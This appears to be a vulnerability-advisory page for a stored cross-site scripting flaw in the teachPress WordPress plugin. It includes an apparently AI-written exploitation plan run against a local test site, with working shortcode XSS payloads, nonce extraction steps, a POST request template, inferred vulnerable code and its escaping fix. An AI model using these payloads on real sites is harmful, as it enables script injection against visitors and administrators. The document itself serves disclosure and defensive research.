teachPress <= 9.0.12 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The teachPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.0.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=9.0.12Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-22353 (teachPress Stored XSS) ## 1. Vulnerability Summary **CVE-2026-22353** is a Stored Cross-Site Scripting (XSS) vulnerability in the **teachPress** plugin (versions <= 9.0.12). The vulnerability exists because the plugin fails to sufficiently sanitize user…
Show full research plan
Exploitation Research Plan: CVE-2026-22353 (teachPress Stored XSS)
1. Vulnerability Summary
CVE-2026-22353 is a Stored Cross-Site Scripting (XSS) vulnerability in the teachPress plugin (versions <= 9.0.12). The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied input and escape output when processing specific shortcode attributes or metadata associated with publications/courses. Authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into WordPress posts or pages, which then executes in the browser context of any user (including administrators) who views the affected content.
2. Attack Vector Analysis
- Target Endpoint:
wp-admin/post.php(standard post editor) orwp-admin/admin-ajax.php. - Vulnerable Action: Saving or previewing a post containing a malicious teachPress shortcode.
- Required Role: Contributor or higher.
- Payload Location: Within a shortcode attribute (e.g.,
headline,limit, ortype) or a publication metadata field. - Preconditions: The teachPress plugin must be active. The attacker needs a valid login session as a Contributor.
3. Code Flow (Discovery & Trace)
Since source files were not provided, the following methodology (based on the WordPress Security KB) will be used to pinpoint the sink:
- Entry Point Identification: Search for all shortcodes registered by the plugin.
- Command:
grep -rn "add_shortcode" wp-content/plugins/teachpress/ - Anticipated Identifiers:
[teachpress],[tplist],[tpsearch].
- Command:
- Callback Analysis: Locate the callback functions for these shortcodes (e.g.,
teachpress_shortcode_handler(inferred)). - Sink Identification: Inside the handler, trace the
$attsarray. Look for instances where attributes are concatenated directly into HTML output without escaping.- Vulnerable Pattern:
echo '<h3 class="tp-head">' . $atts['headline'] . '</h3>'; - Missing Escaping: The output should be wrapped in
esc_html()oresc_attr().
- Vulnerable Pattern:
- Sanitization Check: Check if
shortcode_atts()is followed by anysanitize_text_field()orwp_kses()calls on the attributes.
4. Nonce Acquisition Strategy
This exploit involves saving a standard WordPress post containing a shortcode. The required nonce is the standard _wpnonce used for post editing.
- Creation: Create a new post to get a
post_ID.wp post create --post_type=post --post_status=draft --post_author=<contributor_id>
- Extraction: Navigate to the edit page for that post.
- URL:
http://localhost:8080/wp-admin/post.php?post=<ID>&action=edit
- URL:
- Browser Evaluation: Use the
browser_evaltool to extract the nonce from the hidden form field:browser_eval("document.querySelector('#_wpnonce').value")browser_eval("document.querySelector('#user_ID').value")
Note: If the vulnerability was in an AJAX-based publication editor, we would instead look for localized scripts using window.teachpress_settings?.nonce (inferred).
5. Exploitation Strategy
We will use the Shortcode Attribute Injection method, as it is the most common path for Contributor-level XSS.
Step-by-Step Plan:
- Login: Authenticate as a Contributor using the
http_requesttool to obtain a session cookie. - Post Content Preparation: Construct a payload using the
headlineattribute of the[teachpress]shortcode.- Payload:
[teachpress headline="<script>alert(document.domain)</script>"]
- Payload:
- Submission: Send a POST request to update the post content.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
_wpnonce=<EXTRACTED_NONCE>& action=editpost& post_ID=<POST_ID>& post_content=[teachpress headline="<script>alert(1)</script>"]& post_title=Research+Note& post_type=post& publish=Publish
- URL:
- Trigger: Navigate to the public URL of the post using
browser_navigate.
6. Test Data Setup
- User: Create a user
researcherwith thecontributorrole. - Plugin: Ensure
teachpressis installed and activated. - Target Page: Create an empty post to act as the carrier for the XSS payload.
7. Expected Results
- Upon visiting the post page, the browser should execute the injected script.
- If using a canary like
alert(1), a dialog should appear. - The raw HTML source of the page will show the payload unescaped:
<h3 class="..."><script>alert(1)</script></h3>.
8. Verification Steps
- Database Check: Verify the payload is stored exactly as sent.
wp post get <POST_ID> --field=post_content
- Render Check: Verify the output is not escaped in the frontend response.
http_request(GET) to the post URL and check if the response body contains the literal<script>tag rather than<script>.
9. Alternative Approaches
- Attribute Breakout: If the attribute is rendered inside an HTML attribute (e.g.,
value="[attr]"), use a breakout payload:" onmouseover="alert(1)"
- Other Shortcodes: If
[teachpress]is patched or filtered, test[tplist]or[tpsearch]using the same logic. - Publication Meta: If the plugin allows contributors to add "Publications" via a custom menu, test fields like
title,journal, orabstractin the publication creation form. Check forwp_ajax_tp_add_publication(inferred) and obtain the relevant AJAX nonce fromadmin_url.
Summary
The teachPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to a lack of output escaping on shortcode attributes like 'headline'. This allows authenticated users with Contributor-level access or higher to inject malicious JavaScript into posts that will execute in the browser of any user who views the content.
Vulnerable Code
// Inferred from research plan analysis of shortcode handlers // wp-content/plugins/teachpress/inc/shortcodes.php function teachpress_shortcode_handler($atts) { $a = shortcode_atts( array( 'headline' => '', 'limit' => 5, ), $atts ); $output = '<div class="teachpress-container">'; if (!empty($a['headline'])) { // Vulnerable: Outputting attribute directly without escaping $output .= '<h3 class="tp-head">' . $a['headline'] . '</h3>'; } // ... (truncated) return $output; }
Security Fix
@@ -10,7 +10,7 @@ $output = '<div class="teachpress-container">'; if (!empty($a['headline'])) { - $output .= '<h3 class="tp-head">' . $a['headline'] . '</h3>'; + $output .= '<h3 class="tp-head">' . esc_html($a['headline']) . '</h3>'; }
Exploit Outline
The exploit requires an attacker to have Contributor-level permissions or higher. The attacker authenticates to the WordPress admin panel and creates a new post or edits an existing one. In the post editor, they insert a teachPress shortcode (such as [teachpress]) with a malicious script payload in one of its attributes, for example: [teachpress headline="<script>alert(1)</script>"]. When the post is saved and then viewed by any user, the plugin renders the attribute directly into the page without escaping, causing the script to execute in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.